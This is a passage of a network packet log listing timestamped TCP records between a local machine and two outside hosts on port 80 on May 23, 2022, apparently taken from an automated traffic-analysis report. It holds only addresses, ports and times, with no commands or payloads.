May 23, 2022 09:50:11.353437901 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353452921 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353466988 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353472948 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353487968 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353498936 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353513956 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353523970 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353539944 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353553057 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353569031 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353574991 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353590965 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353600979 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353615999 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353625059 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353641033 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353650093 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353665113 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353688955 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353730917 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353748083 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353765011 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353775024 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353781939 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353800058 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353862047 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353889942 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353899002 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353925943 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353952885 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353970051 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353986025 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353996038 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354006052 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354022980 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354032040 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354064941 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354077101 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354094028 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354110956 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354121923 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354140043 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354146957 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354150057 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354180098 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354216099 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354259014 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354321957 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354340076 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354361057 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354368925 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354379892 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354397058 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354424000 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354441881 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354463100 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354468107 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354477882 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354491949 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354500055 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354526997 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354600906 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354624033 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354641914 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354651928 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354667902 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354676962 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354693890 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354701042 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354736090 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354753017 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354770899 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354784966 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354803085 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354815960 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354831934 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354852915 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354860067 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354863882 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354882956 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354899883 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354938030 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.354954958 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.354990005 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355000973 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355016947 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355037928 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355050087 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355062008 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355083942 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355099916 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355108976 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355118036 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355134010 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355154037 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355163097 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355249882 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355267048 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355283022 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355292082 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355308056 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355317116 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355323076 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355355978 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355442047 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355458021 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355485916 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355503082 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355518103 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355536938 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355545998 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355606079 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355623007 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355642080 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355648994 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355657101 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355673075 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355683088 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355707884 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355747938 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355762005 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355788946 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355798006 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355815887 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355833054 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355850935 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355858088 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355865002 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355879068 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355890989 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355910063 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355943918 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355961084 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355978966 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.355986118 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.355993986 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356008053 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356019974 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356044054 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356120110 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356136084 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356157064 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356163979 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356168032 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356184959 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356194019 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356220961 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356308937 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356327057 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356345892 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356352091 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356359959 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356374979 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356385946 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356405973 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356472969 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356511116 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356529951 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356539965 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356551886 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356574059 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356585026 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356626987 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356658936 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356676102 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356700897 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356714964 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356720924 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356739044 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356760025 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356767893 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356772900 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356790066 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356798887 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356827974 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356843948 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356872082 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356879950 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356901884 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356919050 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.356930971 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356947899 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356956005 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.356991053 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.357007980 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.357027054 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.357033014 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.357042074 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.357058048 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.357070923 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.357090950 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.357177973 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.357194901 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.357212067 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.357222080 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.357228994 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.357244015 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.357251883 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.357280970 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:13.689610004 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.229441881 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:16.229649067 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:16.683672905 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.715858936 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.716159105 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.716734886 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.745970011 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.812772036 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.812820911 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.812838078 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.812851906 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.812869072 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.812887907 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.812906027 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.812922001 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.812939882 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.812958002 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.813025951 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.813723087 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.813743114 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.815844059 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.842438936 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842468977 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842483997 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842516899 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842534065 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842550039 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842566013 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842581987 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842597961 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842614889 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842701912 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.842746019 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.842755079 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.842803001 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842820883 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842837095 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842855930 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842868090 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.842873096 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842883110 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.842890978 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842899084 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.842907906 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842925072 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842931986 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.842941999 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842950106 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.842957973 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.842982054 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.843002081 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.843424082 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.872803926 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.872833967 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.872845888 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.872860909 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.872872114 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.872884035 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.872900009 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.872917891 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.872951031 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.872992039 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873014927 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873032093 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873028994 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873049974 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873066902 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873066902 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873073101 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873078108 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873083115 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873085022 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873086929 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873101950 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873106003 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873117924 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873121023 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873136997 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873136997 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873148918 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873155117 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873171091 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873173952 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873183966 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873187065 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873198986 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873204947 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873220921 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873236895 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873240948 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873249054 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873254061 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873255014 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873271942 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873279095 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873289108 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873290062 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873305082 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873306036 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873318911 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873323917 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873339891 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873357058 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873358011 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873367071 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873373032 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873388052 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873389006 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873404026 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873405933 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873419046 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873424053 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873440981 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873447895 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873456955 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873460054 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873473883 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873475075 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873487949 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873491049 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873508930 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.873514891 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873526096 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.873541117 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.874393940 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.902816057 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.902864933 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.902880907 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.902895927 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.902913094 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.902930021 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.902945042 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.902961969 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.902972937 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.902977943 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.902995110 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.903009892 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903012991 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.903017044 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903022051 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903026104 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903031111 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903031111 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.903048992 CEST	80	49174	107.189.3.39	192.168.2.22
May 23, 2022 09:50:16.903053045 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903059959 CEST	49174	80	192.168.2.22	107.189.3.39
May 23, 2022 09:50:16.903064966 CEST	80	49174	107.189.3.39	192.168.2.22
